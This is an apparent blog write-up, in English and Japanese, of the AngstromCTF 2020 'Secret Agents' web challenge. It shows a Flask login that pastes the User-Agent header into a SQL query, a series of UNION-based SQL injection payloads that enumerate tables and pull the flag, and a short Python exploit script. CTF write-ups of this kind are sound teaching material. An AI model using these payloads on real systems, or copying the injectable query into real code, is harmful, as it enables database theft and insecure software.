はまやんはまやんはまやん

hamayanhamayan's blog

Secret Agents [AngstromCTF 2020]

https://ctftime.org/task/10751

日本語は下

Writeup in English

f:id:hamayanhamayan:20200320045255p:plain

If you press lemme get in ...

f:id:hamayanhamayan:20200320045804p:plain

It will be stopped. Let's take a look at the given code. Looking at the login section, you can get a lot of information.

@app.route("/login")
def login():
    u = request.headers.get("User-Agent")

    conn = mysql.connector.connect(pool_name="poolofagents",
                    pool_size=16,
                    **dbconfig)

    cursor = conn.cursor()

    for r in cursor.execute("SELECT * FROM Agents WHERE UA='%s'"%(u), multi=True):
        if r.with_rows:
            res = r.fetchall()
            conn.close()
            break

    if len(res) == 0:
        return render_template("login.html", msg="stop! you're not allowed in here >:)")

    if len(res) > 1:
        return render_template("login.html", msg="hey! close, but no bananananananananana!!!! (there are many secret agents of course)")


    return render_template("login.html", msg="Welcome, %s"%(res[0][0]))

Information obtained below

  • MySQL is used
  • Obtain UserAgent and injection it to a SQL statement (SQL injection seems possible)
  • SQL result must be 1 record (0 or 2 or more are NG.)
  • Since the first column of the obtained record is output, extract information from here.

Let's extract information by putting various things in UserAgent.

  • My User Agent
    • stop!
  • ' OR ''='' #
    • hey!
  • ' UNION SELECT 1 #
    • error
  • ' UNION SELECT 1,2 #
    • Welcome, 1
  • ' UNION SELECT group_concat(TABLE_NAME), null from INFORMATION_SCHEMA.COLUMNS #
    • Welcome, Table Names
  • ' UNION SELECT group_concat(COLUMN_NAME), null FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'Agents' #
    • Welcome, Name,UA
  • ' UNION SELECT group_concat(UA), null FROM Agents #
    • nice try but this is harder :p
  • ' UNION SELECT group_concat(Name), null FROM Agents #
    • actf{nyoom_1_4m_sp33d}

exploit code

import requests

url = "https://agents.2020.chall.actf.co/login"
u = "' UNION SELECT group_concat(Name), null FROM Agents #"

response = requests.get(url, headers={'User-Agent': u})
print(response.text)

以下、日本語

f:id:hamayanhamayan:20200320045255p:plain

lemme get inを押すと…

f:id:hamayanhamayan:20200320045804p:plain

stopされてしまう。コードが与えられているので、見てみよう。
ログイン部分を見ると、いろいろな情報が得られる。

@app.route("/login")
def login():
    u = request.headers.get("User-Agent")

    conn = mysql.connector.connect(pool_name="poolofagents",
                    pool_size=16,
                    **dbconfig)

    cursor = conn.cursor()

    for r in cursor.execute("SELECT * FROM Agents WHERE UA='%s'"%(u), multi=True):
        if r.with_rows:
            res = r.fetchall()
            conn.close()
            break

    

    if len(res) == 0:
        return render_template("login.html", msg="stop! you're not allowed in here >:)")

    if len(res) > 1:
        return render_template("login.html", msg="hey! close, but no bananananananananana!!!! (there are many secret agents of course)")


    return render_template("login.html", msg="Welcome, %s"%(res[0][0]))

以下得られる情報

  • MySQLが使われている
  • UserAgentを取得して、そのままSQL文に埋め込んでいる(SQL Injectionできそう)
  • SQLの結果は1レコードでないとダメ(0でも2以上でもダメ)
  • 取得したレコードの1カラム目が出力されているので、ここから情報を抜き取る

UserAgentにいろいろなものを入れて、情報を抜き出してみよう

  • My User Agent
    • stop!
  • ' OR ''='' #
    • hey!
  • ' UNION SELECT 1 #
    • error
  • ' UNION SELECT 1,2 #
    • Welcome, 1
  • ' UNION SELECT group_concat(TABLE_NAME), null from INFORMATION_SCHEMA.COLUMNS #
    • Welcome, テーブル名
  • ' UNION SELECT group_concat(COLUMN_NAME), null FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'Agents' #
    • Welcome, Name,UA
  • ' UNION SELECT group_concat(UA), null FROM Agents #
    • nice try but this is harder :p
  • ' UNION SELECT group_concat(Name), null FROM Agents #
    • actf{nyoom_1_4m_sp33d}

exploit用コード

import requests

url = "https://agents.2020.chall.actf.co/login"
u = "' UNION SELECT group_concat(Name), null FROM Agents #"

response = requests.get(url, headers={'User-Agent': u})
print(response.text)